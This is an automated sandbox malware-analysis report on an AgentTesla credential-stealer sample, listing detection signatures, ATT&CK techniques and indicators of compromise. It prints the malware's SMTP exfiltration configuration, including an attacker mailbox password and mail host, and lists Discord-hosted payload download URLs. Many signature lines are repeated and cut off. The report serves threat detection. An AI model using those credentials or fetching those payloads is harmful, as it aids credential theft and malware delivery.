
ID: 502644
Sample Name:
TqSDHvsKpt.exe
Cookbook: default.jbs
Time: 08:11:15
Date: 14/10/2021
Version: 33.0.0 White Diamond
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Windows Analysis Report TqSDHvsKpt.exe

Overview

General Information

Sample 
Name:

TqSDHvsKpt.exe

Analysis ID: 502644

MD5: b063d4a9942d8b…

SHA1: ed42b11ac340a8…

SHA256: 25cb04e6ce30f98…

Tags: exe

Infos:

Most interesting Screenshot:

Detection

AgentTeslaAgentTesla

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTesla

Yara detected AgentTeslaYara detected AgentTesla

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggers

Hides threads from debuggersHides threads from debuggers

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / Wi

Tries to harvest and steal Putty / WiTries to harvest and steal Putty / Wi……

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login c

Tries to harvest and steal ftp login cTries to harvest and steal ftp login c……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via fil

Tries to steal Mail credentials (via filTries to steal Mail credentials (via fil……

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter in

Queries sensitive network adapter inQueries sensitive network adapter in……

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser in

Tries to harvest and steal browser inTries to harvest and steal browser in……

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information 

Queries sensitive BIOS Information Queries sensitive BIOS Information ……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

One or more processes crash

One or more processes crash

One or more processes crash

One or more processes crash

One or more processes crash

One or more processes crash

One or more processes crashOne or more processes crash

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential Stealer

Yara detected Credential StealerYara detected Credential Stealer

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version fo

Uses insecure TLS / SSL version foUses insecure TLS / SSL version fo……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

AV process strings found (often use

AV process strings found (often use

AV process strings found (often use

AV process strings found (often use

AV process strings found (often use

AV process strings found (often use

AV process strings found (often useAV process strings found (often use……

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likely

Found inlined nop instructions (likelyFound inlined nop instructions (likely……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time stBinary contains a suspicious time st……

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)

Uses SMTP (mail sending)Uses SMTP (mail sending)

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informa

Queries sensitive processor informaQueries sensitive processor informa……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

TqSDHvsKpt.exe (PID: 5876 cmdline: 'C:\Users\user\Desktop\TqSDHvsKpt.exe'  MD5: B063D4A9942D8B820AD62D2359D5263D)

TqSDHvsKpt.exe (PID: 2900 cmdline: C:\Users\user\Desktop\TqSDHvsKpt.exe MD5: B063D4A9942D8B820AD62D2359D5263D)

WerFault.exe (PID: 4828 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5876 -s 2120 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

cleanup

{

  "Exfil Mode": "SMTP",

  "Username": "dpo23@dpobumber.com",

  "Password": "m~IzyO$8asT+",

  "Host": "mail.dpobumber.com"

}

Source Rule Description Author Strings

00000001.00000002.519878184.0000000002D7
1000.00000004.00000001.sdmp

JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

00000001.00000002.519878184.0000000002D7
1000.00000004.00000001.sdmp

JoeSecurity_CredentialSte
aler

Yara detected 
Credential Stealer

Joe Security

00000001.00000002.512013569.000000000040
2000.00000040.00000001.sdmp

JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

00000001.00000002.512013569.000000000040
2000.00000040.00000001.sdmp

JoeSecurity_AgentTesla_2 Yara detected 
AgentTesla

Joe Security

00000000.00000002.253482513.0000000004D2
4000.00000004.00000001.sdmp

JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

Click to see the 4 entries

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps
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Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Machine Learning detection for sample

Malware Analysis System Evasion:

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Anti Debugging:

Hides threads from debuggers

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Stealing of Sensitive Information:

Yara detected AgentTesla

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality:

Source Rule Description Author Strings

0.2.TqSDHvsKpt.exe.4d249d0.8.unpack JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

0.2.TqSDHvsKpt.exe.4d249d0.8.unpack JoeSecurity_AgentTesla_2 Yara detected 
AgentTesla

Joe Security

0.2.TqSDHvsKpt.exe.4d249d0.8.raw.unpack JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

0.2.TqSDHvsKpt.exe.4d249d0.8.raw.unpack JoeSecurity_AgentTesla_2 Yara detected 
AgentTesla

Joe Security

1.2.TqSDHvsKpt.exe.400000.0.unpack JoeSecurity_AgentTesla_1 Yara detected 
AgentTesla

Joe Security

Click to see the 1 entries

Unpacked PEs

Copyright Joe Security LLC 2021 Page 5 of 36



Yara detected AgentTesla

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Valid
Accounts

Windows Management
Instrumentation 2 1 1

Path
Interception

Process
Injection 1 1 2

Disable or Modify
Tools 1

OS
Credential
Dumping 2

Query Registry 1 Remote
Services

Email
Collection 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1 1

Default
Accounts

Scheduled Task/Job Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Virtualization/Sandbox
Evasion 2 4 1

Credentials
in
Registry 1

Security Software
Discovery 2 3 1

Remote
Desktop
Protocol

Archive
Collected
Data 1

Exfiltration
Over
Bluetooth

Non-Standard
Port 1

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Process
Injection 1 1 2

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Data from
Local
System 2

Automated
Exfiltration

Ingress Tool
Transfer 1

Local
Accounts

At (Windows) Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 2

NTDS Virtualization/Sandbox
Evasion 2 4 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Non-
Application
Layer
Protocol 2

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Software Packing 1 LSA
Secrets

Application Window
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Application
Layer
Protocol 1 3

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Timestomp 1 Cached
Domain
Credentials

Remote System
Discovery 1

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Compile After
Delivery

DCSync System Information
Discovery 1 1 4

Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Behavior Graph
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Behavior Graph

ID: 502644

Sample: TqSDHvsKpt.exe

Startdate: 14/10/2021

Architecture: WINDOWS

Score: 100

Found malware configuration Multi AV Scanner detection
for submitted file Yara detected AgentTesla Machine Learning detection

for sample

TqSDHvsKpt.exe

15 2

        started       

cdn.discordapp.com

162.159.129.233, 443, 49726

CLOUDFLARENETUS

United States

Queries sensitive network
adapter information

(via WMI, Win32_NetworkAdapter,
often done to detect

virtual machines)

Queries sensitive BIOS
Information (via WMI,

Win32_Bios & Win32_BaseBoard,
often done to detect

virtual machines)

Hides threads from debuggers Injects a PE file into
a foreign processes

TqSDHvsKpt.exe

2

        started       

WerFault.exe

23 9

        started       

dpobumber.com

212.1.210.54, 49826, 587

AS-HOSTINGERLT

United States

mail.dpobumber.com

192.168.2.1

unknown

unknown

Tries to harvest and
steal Putty / WinSCP

information (sessions,
passwords, etc)

Tries to steal Mail
credentials (via file

access)

Tries to harvest and
steal ftp login credentials

Tries to harvest and
steal browser information

(history, passwords,
etc)

C:\ProgramData\Microsoft\...\Report.wer, Little-endian

dropped

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

TqSDHvsKpt.exe 9% Virustotal Browse

TqSDHvsKpt.exe 46% ReversingLabs ByteCode-
MSIL.Trojan.AgentTesla

TqSDHvsKpt.exe 100% Joe Sandbox ML

No Antivirus matches

Source Detection Scanner Label Link Download

1.2.TqSDHvsKpt.exe.400000.0.unpack 100% Avira TR/Spy.Gen8 Download File

No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2021 Page 8 of 36
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General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 502644

Start date: 14.10.2021

Start time: 08:11:15

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 11m 14s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: TqSDHvsKpt.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Source Detection Scanner Label Link

dpobumber.com 0% Avira URL Cloud safe

127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe

DynDns.comDynDNS 0% URL Reputation safe

https://sectigo.com/CPS0 0% URL Reputation safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-
0.4.3.6.zip%tordir%%ha

0% URL Reputation safe

ocsp.comodoca 0% Avira URL Cloud safe

https://YdNYyLP8dl3DqFR.org 0% Avira URL Cloud safe

mail.dpobumber.com 0% Avira URL Cloud safe

https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip 0% URL Reputation safe

PPyygN.com 0% Avira URL Cloud safe

Name IP Active Malicious Antivirus Detection Reputation

dpobumber.com 212.1.210.54 true true unknown

cdn.discordapp.com 162.159.129.233 true false high

mail.dpobumber.com unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

https://cdn.discordapp.com/attachments/893177342426509335/897762616452214784/6F7A5
FA1.jpg

false high

IP Domain Country Flag ASN ASN Name Malicious

212.1.210.54 dpobumber.com United States 47583 AS-HOSTINGERLT true

162.159.129.233 cdn.discordapp.com United States 13335 CLOUDFLARENETUS false

IP

192.168.2.1

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

Copyright Joe Security LLC 2021 Page 9 of 36



Number of analysed new started processes 
analysed:

29

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.winEXE@4/6@3/3

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

08:12:33 API Interceptor 1x Sleep call for process: WerFault.exe modified

08:12:35 API Interceptor 786x Sleep call for process: TqSDHvsKpt.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

162.159.129.233 1PhgF7ujwW.exe Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/87838224
3242983437
/879280740
578263060/
FastingTab
bied_2021-08-
23_11-26.exe

vhNyVU8USk.exe Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/83774192
2641903637
/866064264
027701248/
svchost.exe

Order 4503860408.exe Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/80931153
1652087809
/839376179
840286770/
originbot4
.0.exe

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Copyright Joe Security LLC 2021 Page 10 of 36

https://view.joesandbox.com/analysis/368377/html/none?idtype=webid#static
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cotizacin.doc Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/81210273
4177763331
/819187064
415191071/
bextrit.exe

SecuriteInfo.com.PWS-FCXDF96A01717A58.15363.exe Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/81916940
3979038784
/819184830
453514270/
fraem.exe

7G5RoevPnu.exe Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/80774634
0997431316
/809208342
068199434/
118fir2crtg.exe

70% Balance Payment.doc Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/78563138
4156110868
/785631871
395561492/
italianmas
sloga.exe

TT20201712.doc Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/78897377
5433498687
/788974151
649722398/
damianox.scr

ENQ-015August 2020 R1 Proj LOT.doc Get hash malicious Browse  cdn.disco
rdapp.com/
attachment
s/72288818
4203051118
/757862128
198877274/
Stub.jpg

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

cdn.discordapp.com oIKRh1ruPM.exe Get hash malicious Browse 162.159.13
0.233

farcry6_repack.exe Get hash malicious Browse 162.159.13
0.233

Original  Shipment Doc Ref 2853801324189923,PDF.exe Get hash malicious Browse 162.159.12
9.233

BF2042.exe Get hash malicious Browse 162.159.13
4.233

FTdhc25gn8.exe Get hash malicious Browse 162.159.13
0.233

Halkbank_Ekstre_20211310_082357_541079.exe Get hash malicious Browse 162.159.13
5.233

Potvrda narudzbe u prilogu.exe Get hash malicious Browse 162.159.13
0.233

l4puxn8v7H.exe Get hash malicious Browse 162.159.13
5.233

softe.exe Get hash malicious Browse 162.159.13
3.233

Rust_hack_v6.4.2_x64_stable.exe Get hash malicious Browse 162.159.13
0.233

Black King fast Setup.exe Get hash malicious Browse 162.159.12
9.233

CDMW_free_hacks.exe Get hash malicious Browse 162.159.13
5.233

IMG-pic 0699821.exe Get hash malicious Browse 162.159.13
0.233

Domains
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https://view.joesandbox.com/analysis/276017/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/276017/html/none?idtype=webid
https://view.joesandbox.com/analysis/275693/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/275693/html/none?idtype=webid
https://view.joesandbox.com/analysis/264122/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264122/html/none?idtype=webid
https://view.joesandbox.com/analysis/248987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248987/html/none?idtype=webid
https://view.joesandbox.com/analysis/248979/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248979/html/none?idtype=webid
https://view.joesandbox.com/analysis/210220/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/210220/html/none?idtype=webid
https://view.joesandbox.com/analysis/394951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394951/html/none?idtype=webid
https://view.joesandbox.com/analysis/394875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394875/html/none?idtype=webid
https://view.joesandbox.com/analysis/394869/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394869/html/none?idtype=webid
https://view.joesandbox.com/analysis/394828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394828/html/none?idtype=webid
https://view.joesandbox.com/analysis/394814/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394814/html/none?idtype=webid
https://view.joesandbox.com/analysis/394694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394694/html/none?idtype=webid
https://view.joesandbox.com/analysis/394385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394385/html/none?idtype=webid
https://view.joesandbox.com/analysis/394318/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394318/html/none?idtype=webid
https://view.joesandbox.com/analysis/394222/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394222/html/none?idtype=webid
https://view.joesandbox.com/analysis/394133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394133/html/none?idtype=webid
https://view.joesandbox.com/analysis/394121/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394121/html/none?idtype=webid
https://view.joesandbox.com/analysis/394109/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394109/html/none?idtype=webid
https://view.joesandbox.com/analysis/393996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393996/html/none?idtype=webid


WAYBILL.EXE Get hash malicious Browse 162.159.13
0.233

IMG-12102021.exe Get hash malicious Browse 162.159.13
0.233

Shipping Document pl_bl draft.exe Get hash malicious Browse 162.159.13
0.233

Halkbank_Ekstre_20211012_073809_405251-PDF.exe Get hash malicious Browse 162.159.13
3.233

RFQ5545434684879,pdf.vbs Get hash malicious Browse 162.159.13
4.233

iwTiB0dgnZ.exe Get hash malicious Browse 162.159.13
0.233

install.exe Get hash malicious Browse 162.159.13
5.233

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

AS-HOSTINGERLT 56460021473877.exe Get hash malicious Browse 31.170.167.144

SecuriteInfo.com.Linux.Siggen.751.28800.8078 Get hash malicious Browse 194.59.165.21

SecuriteInfo.com.PUA.Tool.Linux.BtcMine.2700.1790.8083 Get hash malicious Browse 93.188.163.193

pKD3j672HL.exe Get hash malicious Browse 141.136.33.194

vbc.exe Get hash malicious Browse 2.57.90.16

PO08485.xlsx Get hash malicious Browse 185.201.11.206

82051082.exe Get hash malicious Browse 141.136.33.194

115-209.doc Get hash malicious Browse 185.224.13
7.164

8205108.exe Get hash malicious Browse 141.136.33.194

cKz2CAsAVD.exe Get hash malicious Browse 2.57.90.16

pYXAhd1foP.exe Get hash malicious Browse 2.57.90.16

2bAz6jfX1n.exe Get hash malicious Browse 2.57.90.16

SecuriteInfo.com.Suspicious.Win32.Save.a.31108.dll Get hash malicious Browse 213.190.4.223

SecuriteInfo.com.Suspicious.Win32.Save.a.25551.dll Get hash malicious Browse 213.190.4.223

SecuriteInfo.com.Suspicious.Win32.Save.a.31108.dll Get hash malicious Browse 213.190.4.223

SecuriteInfo.com.Suspicious.Win32.Save.a.25551.dll Get hash malicious Browse 213.190.4.223

2WK7SGkGVZ.exe Get hash malicious Browse 141.136.33.194

BYSM-207 SC TRIFTECH78574543957Baku.exe Get hash malicious Browse 31.170.167.144

1taaCpMNKr.exe Get hash malicious Browse 31.170.160.109

Tax Invoice.html Get hash malicious Browse 185.224.138.99

Match Associated Sample Name / URL SHA 256 Detection Link Context

54328bd36c14bd82ddaa0c04b25ed9ad fYkew3tmy4.exe Get hash malicious Browse 162.159.12
9.233

Halkbank,pdf.exe Get hash malicious Browse 162.159.12
9.233

Qoutation013-10.exe Get hash malicious Browse 162.159.12
9.233

xL8pl6m3UZ.exe Get hash malicious Browse 162.159.12
9.233

AWB # 2617429350,pdf.exe Get hash malicious Browse 162.159.12
9.233

REMITTANCE-54324.exe Get hash malicious Browse 162.159.12
9.233

9wybe7f5d3WBbPW.exe Get hash malicious Browse 162.159.12
9.233

20--09876543456780981234567890.exe Get hash malicious Browse 162.159.12
9.233

Statement of Account.exe Get hash malicious Browse 162.159.12
9.233

v9RV3IPIV0.exe Get hash malicious Browse 162.159.12
9.233

jh6KzwrXQp.exe Get hash malicious Browse 162.159.12
9.233

BTL_01145120_160850IMG.exe Get hash malicious Browse 162.159.12
9.233

IMG_0211678531077.exe Get hash malicious Browse 162.159.12
9.233

ASN

JA3 Fingerprints
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https://view.joesandbox.com/analysis/393949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393949/html/none?idtype=webid
https://view.joesandbox.com/analysis/393931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393931/html/none?idtype=webid
https://view.joesandbox.com/analysis/393842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393842/html/none?idtype=webid
https://view.joesandbox.com/analysis/393761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393761/html/none?idtype=webid
https://view.joesandbox.com/analysis/393689/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393689/html/none?idtype=webid
https://view.joesandbox.com/analysis/393687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393687/html/none?idtype=webid
https://view.joesandbox.com/analysis/393645/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393645/html/none?idtype=webid
https://view.joesandbox.com/analysis/394864/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394864/html/none?idtype=webid
https://view.joesandbox.com/analysis/394586/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394586/html/none?idtype=webid
https://view.joesandbox.com/analysis/394200/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394200/html/none?idtype=webid
https://view.joesandbox.com/analysis/393785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393785/html/none?idtype=webid
https://view.joesandbox.com/analysis/393596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393596/html/none?idtype=webid
https://view.joesandbox.com/analysis/393350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393350/html/none?idtype=webid
https://view.joesandbox.com/analysis/392745/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392745/html/none?idtype=webid
https://view.joesandbox.com/analysis/392536/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392536/html/none?idtype=webid
https://view.joesandbox.com/analysis/392492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392492/html/none?idtype=webid
https://view.joesandbox.com/analysis/392292/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392292/html/none?idtype=webid
https://view.joesandbox.com/analysis/391902/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391902/html/none?idtype=webid
https://view.joesandbox.com/analysis/391637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391637/html/none?idtype=webid
https://view.joesandbox.com/analysis/391582/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391582/html/none?idtype=webid
https://view.joesandbox.com/analysis/391581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391581/html/none?idtype=webid
https://view.joesandbox.com/analysis/391578/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391578/html/none?idtype=webid
https://view.joesandbox.com/analysis/391577/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391577/html/none?idtype=webid
https://view.joesandbox.com/analysis/391286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391286/html/none?idtype=webid
https://view.joesandbox.com/analysis/390825/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390825/html/none?idtype=webid
https://view.joesandbox.com/analysis/390805/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390805/html/none?idtype=webid
https://view.joesandbox.com/analysis/390785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390785/html/none?idtype=webid
https://view.joesandbox.com/analysis/395084/html/none?idtype=webid#static
